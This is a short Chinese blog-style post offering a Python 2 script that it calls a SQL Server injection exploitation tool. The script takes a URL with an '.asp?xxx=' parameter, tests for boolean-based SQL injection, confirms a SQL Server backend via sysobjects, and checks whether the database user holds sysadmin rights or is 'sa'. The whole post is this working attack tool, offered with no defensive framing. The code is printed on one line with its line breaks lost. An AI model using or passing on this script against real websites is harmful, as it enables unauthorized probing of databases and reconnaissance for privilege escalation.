本文讲述一个用Python写的小程序，用于有注入点的链接，以检测当前数据库用户是否为sa，详细代码如下：

# Code by zhaoxiaobu Email: little.bu@hotmail.com #-*- coding: UTF-8 -*- from sys import exit from urllib import urlopen from string import join,strip from re import search def is_sqlable(): sql1="%20and%201=2" sql2="%20and%201=1" urlfile1=urlopen(url+sql1) urlfile2=urlopen(url+sql2) htmlcodes1=urlfile1.read() htmlcodes2=urlfile2.read() if not search(judge,htmlcodes1) and search(judge,htmlcodes2): print "[信息]恭喜!这个URL是有注入漏洞的!n" print "[信息]现在判断数据库是否是SQL Server,请耐心等候....." is_SQLServer() else: print "[错误]你确定这个URL能用?换个别的试试吧!n" def is_SQLServer(): sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" urlfile=urlopen(url+sql) htmlcodes=urlfile.read() if not search(judge,htmlcodes): print "[错误]数据库好像不是SQL Server的!n" else: print "[信息]确认是SQL Server数据库!n" print "[信息]开始检测当前数据库用户权限,请耐心等待......" is_sysadmin() def is_sysadmin(): sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" urlfile = urlopen(url+sql) htmlcodes = urlfile.read() if not search(judge,htmlcodes): print "[错误]当前数据库用户不具有sysadmin权限!n" else: print "[信息]当前数据库用户具有sysadmin权限!n" print "[信息]检测当前用户是不是SA,请耐心等待......" is_sa() def is_sa(): sql = "%20and%20'sa'=(select%20System_user)"; urlfile = urlopen(url+sql) htmlcodes = urlfile.read() if not search(judge,htmlcodes): print "[错误]当前数据库用户不是SA!n" else: print "[信息]当前数据库用户是SA!n" print "n########################################################################n" print " ^o^SQL Server注入利用工具^o^ " print " Email: little.bu@hotmail.comn" print "========================================================================"; url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:') if url == '': print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式" exit(1) judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:") if judge == '': print "[错误]判断字符串不能为空!" exit(1) is_sqlable()